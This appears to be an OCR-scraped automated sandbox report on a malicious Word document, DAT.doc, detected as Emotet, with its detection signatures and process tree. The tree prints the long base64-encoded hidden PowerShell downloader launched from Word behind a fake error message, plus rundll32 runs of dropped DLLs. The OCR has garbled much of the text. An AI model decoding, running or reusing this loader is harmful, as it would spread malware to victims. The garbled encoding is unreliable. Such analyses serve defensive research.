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Analysis Report DAT.doc
Overview

General Information Detection Classification

Sample DAT.doc
Name: MALICIOUS

Analysis ID: 344355

Antivirus detection for URL or domain

Multi AV Scanner detection for dropp...

MD5: . .
6792d7fd9d2f923.. Multi AV Scanner. detection for subm...
SHA1L:
afg329cc3d379f6.. Office document tries to convince vi...
SHAZ256: 55f177ec4613b1b.

Snort IDS alert for network traffic (e....
Most interesting Screenshot:

System process connects to networ...

Yara detected Emotet

Creates processes via WMI

m Document contains an embedded VB...
100

w
«Q
>
2
(=
=
®
(7]

Score: Encrypted powershell cmdline option...
Range: 0-100 Hides that the sample has been dow...
Whitelisted: false
N A IE] .| ) Machine Learning detection for dropp...
Confidence: 100%
Startup

= System is w7x64

. WINWORD.EXE (PID: 1820 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2332 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAg
ACQAaQBVAHgASWB5ADIAIAA9ACAAWWBOAFKAUABFAFOAKAAIAHSAMgBIAHSAMABIAHSAMWBIAHSAMQBIACIALQBMACCACWBUAEUABQAUAGKATWAUAGQAaQBS
AGUAYWBUACCALAANAHKAIWASACCAUWB5ACCALAANAEBACJANACKAIAATACAACWBFAHQALQBIAHQAZQBNACAAIAB2AGEAUGBPAGEAYJBMAGUAOQGAXADYAVgBK
ACAAIAA0AFSAJABZAFAAZQBAACgAIgB7ADYAFQB7ADCATQB7ADMAFQB7ADUAfQB7ADAAFQB7ADIAfQB7ADQAFQB7ADEAfQAIACAALQBGACCAVJANACWAIWBYACCALAANAE
kKAYWBFAFAAbWBpPAE4AJWASACCATYBIAFQALGBTACCALAANAFQADBQBhAE4AY QBHAEUAJWASACCAZQBSACCALAANAHMAWQBTACCALAANAHQAZQBIACAAIWAPAC
AAKQA7ACQASWBOADMACWBIAGBAZWAIACYAIWBCACCAKWAOACCADQANACSAIWB2ACCAKWANAGSAaWASAHIAIWAPACKAOWAKAEOAagA1AGAACAB3AFBAPQAKAF
0AOQBSAHMANABGADYAIAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAGACSAIAAKAECAMWALAHCANQAYADQAOWAKAFKAZAAWADYANQBYAHgAPQAOACCAVQBAAC
CAKWAOACCAZQBIACCAKWANAFBAIWAPACSAIWB3AGWAIWAPADSAIAAGACIAIAAGAGCARQBOACOAaQBOAEUATQAGACIAIWB2AGEAUYBIACCAKWANAEEAYgBSAE
UAJWArACcAOgANACSAIWBIAGBAWABLAFKAMgANACKAIAAPACAAVYBBAGWAdQBIADOAOGAIAEMAYABSAEUAYABBAFQAYABIAGAAZABIAFIARQBJAHQATWBYAF
kAIgAOACQASABPAEOARQAJACSAIAAOACIAKAANAEKARQANACSAIWBJACCAKQATACCATWANACSAKAANAFBAIWATACCAdWBNAHEAIJWAPACSAIWB2ACCAKWAOACCANWANACSA
JWBJAEUAYWBDADAAMWAXACCAKQAIACgAIWA2AGUABQBIAEUAIWArACCAYWANACKAKQAGACOAYWBYAEUACABSAEEAYWBFACAAIAAOACCASQBFACCAKWANAGMA
JWAPACWAWWBJAEgAQQBSAFOAOQAYACKAKQA7ACQATQBSADIAOQAOADYAOQASACYAIWBSACCAKWAOACCANGBIACCAKWANAGSAdQB2AGUAIWAPACKAOWAGACAA
KAAgACAAVYBBAFIAaQBBAGIATABIACAAMQA2AHYAagAgACAALQB2AEEATABVAEUAbWBUACAAKQABADOAIgBZAEUAQWBYAFUACYBpAHQAeQBWAGAAUGBVAFQA
bwBgAGMAbWBMACIAIAA9ACAAKAANAFQADAANACSAKAANAHMAMQANACSAIWAYACCAKQAPADSAJABOAGKAbQBOAFSAdQB4ADOAKAANAEGAZQANACSAIWBBACCA
KwAOACCAZgB1ACCAKWANADIAOQANACKAKQA7ACQATQBIAGOAMAB1AHCACgAgADOAIAAOACCATABSACCAKWAOACCAZQBOACCAKWANAGEANGANACKAKWANAHUA
ZAANACKAOWAKAEY AagBfAGKAbgB4AGKAPQAOACYAIWBWAHYAIJWArACCAMWANACKAKWAOACCAagBIAGCAIWAIACCAOAANACKAKQA7ACQARWB5AHOAZGAOAGCA
OAAIACYAKAANAFEANQANACSAIWA3AHEAIWANACKAKWANAGSAIJWArACCcAegANACKAOWAKAEMAMAB3ADCACgBVADYAPQAKAEgATWBNAEUAKWAOACGAIJWB7ADAA
fQBPAF8AdWBNAHEAdgANACSAIWA3ACCAKWANAHSAMAANACSAIJWBIACCAKWANAEMAIWATACCAMAAZADEANGBIAGOAeWAWAHOAIWAPACAALQBMACAAWWBDAGYA
QQBYAFOAOQAYACKAKWAKAEOAZQBtADAAdQB3AHIAKWAOACGAIWAUAGQAIWATACCABAANACKAKWANAGWAIWAPADSAJABHAGIAMWBSAHKAawA4ADOAKAAOACCA
TQB4ACCAKWANADEAZWANACKAKWAOACCAZWANACSAIWBVAGOAIWAPACKAOWAKAFIACAALADYAegByAGEAPQBOAEUAVWBYACOATWBIAGAASYBIAEMAJAAGAELA
ZQBUAC4AVWBFAGIAQWBMAGKARQBUAHQAOWAKAEMAagA1AGsAdwBUAGOAPQAOACYAKAAOACCAaABOAHQACAABAHEACQAPACCAKWANACGACWAYACCAKWANACKA
KABXAHEAJWArACCAKQANACKAKQAIACCAKAANACSAKAAOACCACWAYACCAKWANACKAKABBAGUADBgANACSAIWBPACCAKQAPACSAKAANAHQARABJACCAKWANAGEA
bQBWAHUAJWArACcAcWAUAGMAJIWAPACSAKAAOACCAbWANACSAIJWBIAHEACQAPACgACWAYACCAKWANACKAIJWAIACCAKABSAHEAIJWATIACCACQAPACCAKQAPACSA
KAAOACCAKABZACCAKQAPACSAIWAYACCAKWAOACGAIWAPACCAKWANACgAeQBRACCAKWANAHEACQAPACIAIWAPACKAKWAOACGAIWBZACCAKWANADIAKQANACKA
KQArACgAJwAoAEAAaABOAHQAJIWAIrACCACAANACSAIWABAHEAIJWAIrACCACQANACSAIWAPACGACWAYACKAIWAPACSAKAAOACCAKABXACCAKQAPACSAKAAOACCACQANACSAIW
ApACgAcwWAYACKAIWAPACKAKWAOACGAIWAOAGGAIWAIrACCAYgANACKAKQArACgAIWBWAHIAaQB2AGKADABIACCAKWANAGCAIWAPACSAKAANAGUAIWATACCAZAAUACCAKQAr
ACgAKAANAGMAbWANACSAIWBtAHEACQAPACgACWAYACKAIJWAIrACCAKABJAGCAIWArACCcAaQAtAGIAaQBUACCAKWANAHEAIWAPACKAKWAOACGAIWBXACKAKAANACSAIWBZAD
IAKQANACKAKQArACgAKAANACgAawBjAGCAIWArACCAZWBGAHEACQANACKAKQAIrACJAKAANACKAIWAIACCAKABZADIAKQANACKAKQAIACJAIWACOAEAAaABOAHQAIWATACCA
CcAANACSAIJWABACCAKWANAHEACQAPACCAKQAIrACCAKAANACSAKAAOACCACWAYACKAKAANACSAIWBXACCAKQAPACSAKAAOACCACQAPACIAIWATACCACWAYACKAKAANACSAIW
BSACCAKWANAG8AYWANACKAKQArACcAYQBsSACCAKWANAGEAZGANACSAKAANAGYAbwANACSAIWBYAGQAY QBIACCAKWANAGWAJWAIACCAZQBYACCAKQATrACgAIwW
BVAG8AZgAnACsAJWBIACCAKQArACcAcgAUACCAKWANAGMAbWANACSAKAAOACCAbQBXACCAKWANAHEAKQAOAHMAMGANACSAIWAPACCAKQAPACSAIWAOACCAKwW
A0ACCcAcgANACSAIWBhAGWAIWAPACSAIWBWAGGAIJWArACCACWALACCAKWANAHIAJWArACgAIWBIACCAKWANAGMAZQANACKAKWAOACgAIWBpAHAAJAAIAGY AMgBL1AGgAJIWAr
ACCcAZgBXAHEAIJWAIACCAKQAOACCAKQAPACSAIWBZADIAIWArACJAKAANACKAIWATACCAKABXACCAKQAPACSAIWBUACCAKWAOACCAVAANACSAIWALIAEQAQWAN
ACKAKWANAHEACQANACSAJWApPACCAKWAOACgAIWAOAHMAIWAIACCAMgANACKAKQArACgJAKAANACKAKABAACCAKWANAGGAdAANACSAIWBOAHAACWANACKAKQAr
ACgAKAANADOAIWAIACCACQANACSAIWBXACKAKABZzADIAKQANACKAKQArACgAIWAOACCAKWANAHEACQAPACCAKQAIACCAKAANACSAIWBZADIAIWAIACCAKQANACSAKAAOAC
CAKAANACsAIJWBJAG8AaABUAGYAY QANACSAIWB5ACCAKQAPACSAKAANAGQAZQBUACCAKWANAHCACGANACSAIWBPACCAKQArACgAIJWBOAGUAIWArACcAcWANAC
kAKWANAC4AIWArACcAYwBVACCAKWAOACGAIWBIACCAKWANAHEACQANACSAIWAPACCAKWANACGACWAYACKAKABOAHIAY QBJAGSAXWB1ACCAKQAPACSAKAANAHIADAANACSA
JwBXAHEAJWApPACSAKAAOACCAKQAOACCAKWANAHMAMgAPACCAKWANACgAUAANACSAIJWBXAHEAKQANACKAKQArACgAIWA0AHMAJIWATACCAMgAPACCAKQArACCA
KAANACsSAKAANAEAAIWATIACcAaAANACSAIWBOAHQACABzADOACQANACKAKWAOACGAIWBXACKAIWAPACKAKWAOACCAKAANACSAIWBZADIAKQANACKAKWANACgAJWATACgAKA
AnAHEAJWArACcAcQApPACgAIWATrACCAcWANACSAIWAYACKAKABUACCAKQAPACSAKAANAGEAIWArACcAaABSAGEACWBVAGWAJWAIrACCcAaQANACSAIWBIACCAKQArACgAJwWBh
AG4AZABIAHMAIWArACcAaQANACKAKWAOACCAZWBUACCAKWANAHMAIWAPACSAKAANACAAIWATACCAYWBVACCAKQAIACJAKAANAGOACQANACSAIWBXACKAKAAN
ACKAKQArACgAKAANAHMAMGANACSAIWAPACCAKWANACYAbgBhACCAKWANAGYABABhADMAJIWAPACKAKWANAHEAIJWATACGAKAANAHEAKQAOACCAKWANAHMAJIWAT
ACCcAMgAPACCAKQAPACSAKAAOACCAKABKAHEACQAPACGAIWArACCACWANACKAKQAIACJAKAANADIAKQANACKAKQArACJAKAANACIJAQABOAHQAJAANACSAIWBW
ACCcAKQAPACSAKAAOACCACWANACSAIWABAHEACQAPACIAIWAPACKAKWAOACGAIWBZACCAKWANADIAKQAOACCAKWANAHEACQAPACIAIWAPACKAKWAOACgAIWBZ
ADIAJWArACCAKQANACKAKQArACYJAKAANACJAZGANACSAIWBVAGBAIWAPACKAKWANAHQAIWAIACYAIWBIAGEAIWArACCABABSACOAIWAPACSAKAAOACCAZQBNACAAYWANAC
SAJWBVAGOAIWArACcAcQBXACKAIJWAPACKAKWAOACIAIWAOAHMAIWAPACKAKWAOACGAIWAYACKAKAB3AGUAIWAIACCAYgBfAGOAY QANACSAIWBWACCAKQAPAC
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SAKAAOACCACQBXACKAKABZACCAKWANADIAKQANACSAIWAOAGAAIWAPACKAKWANAHEAIWArACJAKAANAHEAKQAOAHMAMYANACSAIWAPACJAQABOACCAKWANAH
QAJIWAPACKAKWAOACCAJABWACCAKWANAHMAJIWAPACSAKAAOACCAOGBXACCAKWANAHEAKQAOACCAKWANAHMAMgAPACGACQANACSAIWBXACKAKAANACKAKQAIAC
cAcWAYACCcAKWAOACgAIWAPACCAKWANACgAdgANACKAKQArACcAaQANACSAIWBIACCAKWANAHQADgANACSAKAANAGYAY QANACSAIWBIAGKAIWAPACSAKAAOACCAZQANACSA
JwBUAGgAbwBhAC4AYWBVAGOACQBXACKAIWArACCAKABZADIAIJWArACCAKQAOACCAKQAPACSAKAANAHCAbwBYACCAKWANAGQACAANACKAKWAOACGAIJWBYACCA
KwANAGUAcwBzAHEACQANACSAIWAPACGACWANACSAIWAYACCAKQAPACSAIWAPACCAKWANACGAIWATACCAUQANACSAKAAOACCAVQBUAHKACQANACSAIWBXACKA
KAANACsAIJWBzADIAKQAOACCAKQAPACKAKQAUACIACgBFAGAAUABSAEEAYWBIACIAKAAOACGAKAAOACCACQANACSAIWBXACKAIWAPACKAKWAOACYAIWAOACCA
KwANAHMAMgANACKAKQArACgAKAANACKAKAANACKAKQAPACKALAAOAFSAYQBYAHIAY QBSAFOAKAANACBAIWAPACWAKAANAGYAIWATACCAWBIACCAKQAPAFSA
MABJACKALgAIAHMAYABQAEWASQBOACIAKAAKAEYANWAZAGCANWASAGOAIAATACAAJABNAGOANQBUAHAAJWBIACAAKWAJACQASQBJAHCAdQAYADMAOAAPADSA
JABYAGQAXWBJAHAAdWBfADOAKAANAFUAJWArACgAIWBOACCAKWANAHOAZGBXACCAKQAIACCAMgAYACCAKQATAGYAbwWBYAGUAY QBJAGYAIAAOACQATWBOAFBA
YgB1AGQAbAAgAGKAbgAGACQAQWBIADUAawB3AG4AbQAGAHWAIABTAGAATWBSAHQALQBPAGIAagBgAGUAYABDAHQAIAB7AGCARQBJAFQAYAAtAGAAUGBBAGAA
ZABVAGOAfQAPAHSAdABYAHKAeWAKAFIACAALIADY AegByAGEALGAIAEQATWBXAGAAYABMAESAY QBKAGYAYABJAGAAbBABFACIAKAAKAESAJABFAGIAdQBKAGWA
LAAgACQAQWAWAHCANWBYAGBANGAPADSAJABNAHAAaQAYAHMACWAOADOAKAAOACCAUWANACSAIWBBAFBAIWAPACSAIWB3ACCAKWAOACCAeQBIACCAKWANADEA
JWAPACKAOWBJIAGYAIAA0ACYAIgAOACCARWBIAHQALQBIAHQAJIWAIACCAZQBIACCAKQAGACQAQWAWAHCANWBYAGBANGAPACAAIgBSAEUAYABOAGCAYABUAGOA
IgAgACOAZWBIACAANAAOADEAMWA2ACKAIAB7ACAAKAANAHIAAQBUAGQAIWArACCABABSADMAJIWArACCAMJANACKAIAAKAEMAMAB3ADCACYBVADYALAANACMAMQANAC4AIg
BUAGAAbwBgAHMAVABSAEKAbgBNACIAKAAPADSAJABFAGSAYWBVAGOAYgB3ADOAKAACACCAVQBWACCAKWANAHOAagBNACCAKQArACCAdWB3ACCAKQATAGIACY
BIAGEAawA7ACQASgBJAGOAdABNAGIABWAIACIAKAANAFIADgAXACCAKWANAHGAIWAPACSAIWBUAGWAIWATACCACAANACKATQBIAGMAY QBOAGMAaAB7AHOATQAKAFOACABq
AHIAegA1AGKAPQAOACCAUQANACSAIWALIADEAIWArACgAIWBKAGUAYWANACSAIWBOACCAKQAPAA== MD5: 5746BD7E255DD6ABAFA06F7C42C1BA41)

e [ msg.exe (PID: 2508 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e E3F powershell.exe (PID: 2536 cmdline: POwersheLL -w hidden -ENCOD IAAgACQAaQBVAHgASWB5ADIAIAA9ACAAWWBOAFKAUABFAFOAKAAIAHSAMgB9AHSA
MABYAHSAMWBIAHSAMQBIACIALQBMACCACWBUAEUAbBQAUAGKATWAUAGQAaQBSAGUAYWBUACCALAANAHKAIWASACCAUWBSACCALAANAEBACYANACKAIAATACAA
cWBFAHQALQBJAHQAZQBNACAAIAB2AGEAUYBPAGEAYgBMAGUAOgAXADYAVYBKACAAIAA0AFSAJABZAFAAZQBAACgAIgB7ADYAFQB7ADCAfQB7ADMAFQB7ADUA
fQB7ADAATQB7ADIAfQB7ADQAFQB7ADEAFQAIACAALQBGACCAVJANACWAIWBYACCALAANAEKAYWBFAFAAbWBPAE4AIWASACCATYBIAFQALGBTACCALAANAFQA

bQBhAE4AYQBHAEUAJWASACCAZQBSACCALAANAHMAWQBTACCALAANAHQAZQBIACAAIWAPACAAKQA7ACQASWBOADMACWBIAGBAZWASACYAIWBCACCAKWAOACCA
bQANACSAIWB2ACCAKWANAGSsAawA5AHIAIWAPACKAOWAKAEOAagA1AGAACAB3AFBAPQAKAFOAOQBSAHMANABGADYAIAATACAAWWBIAGYAY QBYAFOAKAA2ADQA
KQAQACSAIAAKAECAMWALAHCANQAYADQAOWAKAFKAZAAWADYANQBYAHJAPQAOACCAVQBAACCAKWAOACCAZQBIACCAKWANAFBAIWAPACSAIWB3AGWAIWAPADSA
IAAgACgAIAAgAGCARQBOACOAaQBOAEUATQAJACIAIWB2AGEAUGBIACCAKWANAEEAY gBSAEUAIJWAIACCAOgANACSAIWBIAGBAWABLAFKAMGANACKAIAAPDACAA
VgBBAGWAdQBIADOAOGAIAEMAYABSAEUAYABBAFQAYABIAGAAZABJAFIARQBJAHQATWBYAFKAIGAOACQASABPAEOARQAJACSAIAACACJAKAANAEKARQANACSA
JWBJACCAKQAIrACCATWANACSAKAANAFBAIWATACCAdWBNAHEAIWAPACSAIWB2ACCAKWAOACCANWANACSAIWBIAEUAYWBDADAAMWAXACCAKQAIACJAIWA2AGUA
bQBJAEUAJWArACCAYWANACKAKQAGACOAYWBYAEUACABSAEEAYWBFACAAIAAOACCASQBFACCAKWANAGMAIWAPACWAWWBAEgAQQBSAFOAOQAYACKAKQA7TACQA
TQBSADIAOQAOADYAOQA9ACYAIWBSACCAKWAOACCANGBIACCAKWANAGSAdQB2AGUAIWAPACKAOWAJACAAKAAGACAAVYBBAFIAaQBBAGIATABIACAAMQA2AHYA
agAgACAALQB2AEEATABVAEUAbwBUACAAKQABADOAIgBZAEUAQWBIAFUACgBpAHQAeQBWAGAAUGBVAFQAbWBYJAGMABWBMACIAIAA9ACAAKAANAFQADAANACSA
KAANAHMAMQANACSAIJWAYACCAKQAPADSAIJABOAGKAbQBOAFBAdQB4ADOAKAANAEGAZQANACSAIWBBACCAKWAOACCAZGBLIACCAKWANADIAOQANACKAKQA7TACQA
TQBIAGOAMAB1AHCACgAgADOAIAAOACCATABSACCAKWAOACCAZQBOACCAKWANAGEANGANACKAKWANAHUAZAANACKAOWAKAEYAagBfAGKAbgB4AGKAPQAOACGA
JWBWAHYAJIWArACCAMWANACKAKWAOACCAagBIAGCAIWArACCAOAANACKAKQA7ACQARWB5AHOAZGAOAGCAOAAIACIAKAANAFEANQANACSAIWASAHEAdWANACKA
KWANAGSAJWArACcAegANnACKAOWAKAEMAMAB3ADCACYBVADYAPQAKAEgGATWBNAEUAKWAOACGAIWB7ADAATQBPAFSAdWBNAHEAdgANACSAIWA3SACCAKWANAHSA
MAANACSAIWBIACCAKWANAEMAIWArACCAMAAZADEANgBIAGOAeWAWAHOAIJWAPACAALQBMACAAWWBDAGIAQQBYAFOAOQAYACKAKWAKAEOAZQBIADAAQB3AHIA
KwA0ACgAIWAUAGQAIWArACCAbAANACKAKWANAGWAIWAPADSAJABHAGIAMwWBSAHkAawA4ADOAKAACACCATQBAACCAKWANADEAZWANACKAKWAOACCAZWANACSA
JWBVAGOAIWAPACKAOWAKAFIACAALADYAegByAGEAPQBOAEUAVWBYACOATWBIAGAASYBIAEMAJAAGAE4AAZQBUACAAVWBFAGIAQWBMAGKARQBUAHQAOWAKAEMA
agA1AGSAdWBUAGOAPQAOACJAKAACACCAaABOAHQACAABAHEACQAPACCAKWANACYACWAYACCAKWANACKAKABXAHEAIWArACCAKQANACKAKQArACCAKAANACSA
KAAOACCcAcWAYACCAKWANACKAKABBAGUAbgANACSAIWBPACCAKQAPACSAKAANAHQAaABJACCAKWANAGEAbQBWAHUAJWArACCACWAUAGMAIWAPACSAKAAOACCA
bwANACsAIWBtAHEACQAPACGACWAYACCAKWANACKAIWArACCAKABSAHEAJIWATACCACQAPACCAKQAPACSAKAACOACCAKABZACCAKQAPACSAIWAYACCAKWAOACGA
JWAPACCAKWANACgAeQBRACCAKWANAHEACQAPACGAIWAPACKAKWAOACGAIWBZACCAKWANADIAKQANACKAKQArACgAIWAOAEAAaABOAHQAIWATACCACAANACSA
JWABAHEAIJWArACCACQANACSAIWAPACIACWAYACKAIWAPACSAKAAOACCAKABXACCAKQAPACSAKAAOACCACQANACSAIWAPACGACWAYACKAIWAPACKAKWAOACGA
JWAOAGGAIWAIACCAYgANACKAKQArACgAIJWBWAHIAaQB2AGKAbABIACCAKWANAGCAIJWAPACSAKAANAGUAIWArACCAZAAUACCAKQArACgAKAANAGMAbWANACSA
JWBtAHEACQAPACGACWAYACKAIWArACCAKABJAGCAIJWArACCAaQAtAGIAaQBUACCAKWANAHEAIWAPACKAKWAOACGAIJWBXACKAKAANACSAIWBZADIAKQANACKA
KQArACgAKAANACgAawBjAGCAIWATACCAZWBGAHEACQANACKAKQArACYJAKAANACKAIWAIrACCAKABZADIAKQANACKAKQArACgAIJWAOAEAAaABOAHQAIWATACCA
CcAANACsAIJWABACCAKWANAHEACQAPACCAKQArACCAKAANACSAKAAOACCACWAYACKAKAANACSAIWBXACCAKQAPACSAKAACACCACQAPACIAIWATACCACWAYACKA
KAANACsAJWBSACCAKWANAGBAYWANACKAKQAIrACCAY QBSACCAKWANAGEAZGANACSAKAANAGY AbwANACSAIWBYAGQAY QBIACCAKWANAGWAIWArACCAZQBYACCA
KQArACgAJwBVAG8AZgANACSAIWBIACCAKQArACcAcgAUACCAKWANAGMAbWANACSAKAAOACCADQBXACCAKWANAHEAKQAOAHMAMANACSAIJWAPACCAKQAPACSA
JWAOACCAKWAOACCACgANACSAIWBhAGWAIWAPACSAIWBWAGIAIWArACCACWAIACCAKWANAHIAIWATACgAIJWBIACCAKWANAGMAZQANACKAKWAOACgAIJWBPAHAA
dAAtAGYAMgBL1AGYAIWAIACCAZgBXAHEAIJWArACCAKQAOACCAKQAPACSAIWBZADIAIWArACGAKAANACKAIWATACCAKABXACCAKQAPACSAIWBUACCAKWAOACCA
VAANACsAIJWALAEQAQWANACKAKWANAHEACQANACSAIJWAPACCAKWAOACIAIWAOAHMAIWATACCAMgANACKAKQArACgAKAANACKAKABAACCAKWANAGYAdAANACSA
JwBOAHAACWANACKAKQArACgAKAANADOAIWArACCACQANACSAIWBXACKAKABZADIAKQANACKAKQArACgAIWAOACCAKWANAHEACQAPACCAKQArACCAKAANACSA
JwBzADIAIJWArACCAKQANACSAKAAOACCAKAANACSAIWBIAGBAaABUAGIAY QANACSAIWB5ACCAKQAPACSAKAANAGQAZQBUACCAKWANAHCACGANACSAIJWBPACCA
KQArACgAJwBOAGUAJIWArACcAcWANACKAKWANACAAIWATrACCAYwWBVACCAKWAOACGAIWBIACCAKWANAHEACQANACSAIWAPACCAKWANACGACWAYACKAKABOAHIA
YQBJAGSAXWB1ACCAKQAPACSAKAANAHIADAANACSAIWBXAHEAIJWAPACSAKAAOACCAKQAOACCAKWANAHMAMYAPACCAKWANACGAUAANACSAIWBXAHEAKQANACKA
KQArACgAJwAoAHMAJIWATACCAMgAPACCAKQArACcAKAANACSAKAANAEAAIWATACCcAaAANACSAIWBOAHQACABzADOACQANACKAKWAOACGAIWBXACKAIWAPACKA
KwA0ACCcAKAANACsAIWBzADIAKQANACKAKWANACgAJWArACgAKAANAHEAIWATIACCACQAPACIAIWATACCACWANACSAIWAYACKAKABUACCAKQAPACSAKAANAGEA
JWArACcAaABsSAGEAcWBVAGWAIWATACcAaQANACSAIWBIACCAKQArACgAIWBhAGAAZABIAHMAJIWArACcAaQANACKAKWAOACCAZWBUACCAKWANAHMAIWAPACSA
KAANAC4AIWArACcAYWBVACCAKQArACgAKAANAGOACQANACSAIWBXACKAKAANACKAKQArACgAKAANAHMAMYANACSAIJWAPACCAKWANACgAbgBhACCAKWANAGGA
bABhADMAJWAPACKAKWANAHEAIWArACJAKAANAHEAKQAOACCAKWANAHMAJIWArACCAMgAPACCAKQAPACSAKAAOACCAKABKAHEACQAPACYAIWATACCACWANACKA
KQArACgAKAANADIAKQANACKAKQArACgJAKAANACIAQABOAHQAJAANACSAIWBWACCAKQAPACSAKAAOACCACWANACSAIWABAHEACQAPACYAIWAPACKAKWAOACIA
JwBzACCcAKWANADIAKQAOACCAKWANAHEACQAPACIAIWAPACKAKWAOACGAIWBZzADIAIWArACCAKQANACKAKQArACgAKAANACIAZgANACSAIWBVAGBAIJWAPACKA
KwWANAHQAJWArACgAJWBIAGEAIJWArACCAbABSACOAIWAPACSAKAAOACCAZQBNACAAYWANACSAIWBVAGOAIWArACCACQBXACKAIJWAPACKAKWAOACGAIWAOAHMA
JWAPACKAKWAOACGAIWAYACKAKAB3AGUAJIWAIACCAY gBfAGOAYQANACSAIWBWACCAKQAPACSAKAAOACCACQBXACKAKABZACCAKWANADIAKQANACSAIWAOAGAA
JWAPACKAKWANAHEAJWArACgAKAANAHEAKQA0AHMAMgANACSAIJWAPACGAQABOACCAKWANAHQAIWAPACKAKWAOACCAJABWACCAKWANAHMAIWAPACSAKAAOACCA
OgBXxACcAKWANAHEAKQAOACCAKWANAHMAMgAPACIACQANACSAIWBXACKAKAANACKAKQArACcAcWAYACCAKWAOACGAIWAPACCAKWANACYAdgANACKAKQAIACCA
aQANACsSAIWBIACCAKWANAHQADbgANACSAKAANAGYAY QANACSAIWBIAGKAIWAPACSAKAAOACCAZQANACSAIWBUAGGAbWBhACAAYWBVAGOACQBXACKAIJWArACCA
KABzADIAJWArACcAKQAOACCAKQAPACSAKAANAHCAbwBYACCAKWANAGQACAANACKAKWAOACGAIWBYACCAKWANAGUAcWBZAHEACQANACSAIWAPACGACWANACSA
JWAYACCAKQAPACSAIWAPACCAKWANACGAIWATACCAUQANACSAKAAOACCAVQBUAHKACQANACSAIWBXACKAKAANACSAIWBZADIAKQAOACCAKQAPACKAKQAUACIA
cgBFAGAAUABSAEEAYWBIACIAKAAOACJAKAAOACCACQANACSAIWBXACKAIWAPACKAKWAOACYAIWAOACCAKWANAHMAMIANACKAKQArACgAKAANACKAKAANACKA
KQApPACKALAAOAFSAYQBYAHIAY QB5AF0AKAANACBAIWAPACWAKAANAGYAIWAIACCAAWBIACCAKQAPAFSAMABAACKALgAIAHMAY ABQAEWASQBOACIAKAAKAEYA
NwAzAGCANWASAGOAIAATACAAIJABNAGOANQBUAHAAJWBFACAAKWAGACQASQBJAHCAdQAYADMAOAAPADSAIJABY AGQAXWBJAHAAdWBfADOAKAANAFUAIWATACGA
JWBOACCAKWANAHOAZgBXACCAKQAIACCAMgAYACCAKQA7AGYAbwBYAGUAYQBJAGYAIAAOACQATWBOAFBAY gB1AGQADAAGAGKAbBgAgACQAQWBADUAaWB3AGAA
bQAgAHWAIABTAGAATWBSAHQALQBPAGIAagBgAGUAYABDAHQAIAB7AGCARQBIAFQAYAAIAGAAUGBBAGAAZABVAGOATQAPAHSAdABYAHKAeWAKAFIACAALIADYA
egByAGEALgAIAEQATWBXAG4AYABMAESAYQBKAGYAYABJAGAADABFACIAKAAKAEBAJABFAGIAdQBKAGWALAAGACQAQWAWAHCANWBYAGBANGAPADSAJABNAHAA
aQAYAHMACWAOADOAKAAOACCAUWANACSAIWBEAFBAIWAPACSAIWB3ACCAKWAOACCAeQBIACCAKWANADEAIWAPACKAOWBIAGYAIAAOACJGAIGAOACCARWBIAHQA
LQBJAHQAJIWArACCAZQBIACCAKQAJACQAQWAWAHCANWBYAGBANGAPACAAIgBSAEUAYABOAGCAYABUAGQYAIGAGACOAZWBIACAANAAOADEAMWA2ACKAIAB7ACAA

KAANAHIAdQBUAGQAJWAIACCAbABSADMAJIWArACCAMgANACKAIAAKAEMAMAB3ADCAcgBVADYALAANACMAMQANAC4AIgBUAGAABWBgAHMAVABSAEKAbgBNACIA
KAApADSAJABFAGSAYWBVAGOAY gB3ADOAKAAOACCAVQBWACCAKWANAHOAagBNACCAKQArACCAdwWB3ACCAKQATAGIACYBIAGEAaWA7TACQASYBJAGOAJABNAGIA
bwA9ACgAKAANAFIAbgAXACCAKWANAHGAIWAPACSAIWBUAGWAIWAIACCACAANACKAIQBIAGMAY QBOAGMAaAB7AHOAFQAKAFOACABIAHIAegA1IAGKAPQAOACCA
UQANACSAIWALADEAIWArACgAIWBKAGUAYWANACSAIWBOACCAKQAPAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 260 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll #1 MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2908 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\O_wgqv7\C0316em\Lyeta6ud.dll #1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2872 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Yozs\bhycn.bcx',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2472 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Hxqt\iieutea.ehw',RunDLL MD5:

51138BEEA3E2C21EC44D0932C71762A8)
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. D rundll32.exe (PID: 2488 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Yjfs\gmxhcr.dhy',RunDLL MD5:

51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Hszr\zft.hxn',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1616 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Vnjt\awo.cnn',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2968 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Dkpu\lbsvbo.gas',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2196 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Opgf\izrop.pvh',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1484 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Blgp\gmlbr.kph',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
